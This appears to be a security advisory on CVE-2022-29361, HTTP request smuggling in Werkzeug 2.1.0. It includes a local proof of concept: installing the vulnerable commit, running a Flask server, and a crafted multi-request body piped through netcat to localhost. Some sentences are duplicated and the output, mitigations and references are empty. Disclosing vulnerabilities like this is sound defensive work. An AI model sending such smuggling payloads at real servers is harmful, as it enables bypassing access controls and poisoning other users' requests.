CVE-2022-29361 - Werkzeug HTTP Request Smuggling

Apr 25, 2022   
cve unauthenticated web 
Also available in:  🇫🇷 


Summary

Improper parsing of HTTP requests in Pallets Werkzeug v2.1.0 and below allows attackers to perform HTTP Request Smuggling using a crafted HTTP request with multiple requests included inside the body.

Affected products and versions

Werkzeug - 2.1.0 (from commit 9a3a981d70d2e9ec3344b5192f86fcaf3210cd85)

Exploitation

The new version of the request parsing (introduced in commit 9a3a981d70d2e9ec3344b5192f86fcaf3210cd85) does not respect RFC 2616 and allow response splitting in each request.

Local proof of concept

Installing the vulnerable version

In order to reproduce this locally, you need to install Werkzeug at the specified commit:

git clone https://github.com/pallets/werkzeug /tmp/werkzeug_a
cd /tmp/werkzeug_a
git reset --hard 9a3a981d70d2e9ec3344b5192f86fcaf3210cd85
python3 -m pip install .

And now we can start a server.

Starting the server

Then we need to start a server, with Flask for example.

python3 -c 'from flask import Flask; Flask(__name__).run("0.0.0.0", port=80)'

Sending invalid requests

As a proof of concept you can use the following request:

POST /endpoint HTTP/1.1

GET /req/1 HTTP/1.1

GET /req/2 HTTP/1.1

GET /req/3 HTTP/1.1

GET /req/4 HTTP/1.1

This request should be parsed as 1 POST request on /endpoint with a body containing all the GET data but in our situation, it result in 4 independents requests/responses. We can trigger it with cat request.http | nc 127.0.0.1 80 and we get this:

We can trigger it with cat request.http | nc 127.0.0.1 80 and we get this:

On commit 9a3a981d70d2e9ec3344b5192f86fcaf3210cd85, this request should be parsed as 1 POST request on /endpoint with a body containing all the GET data but in our situation, it results in 4 independents requests/responses.

Mitigations

References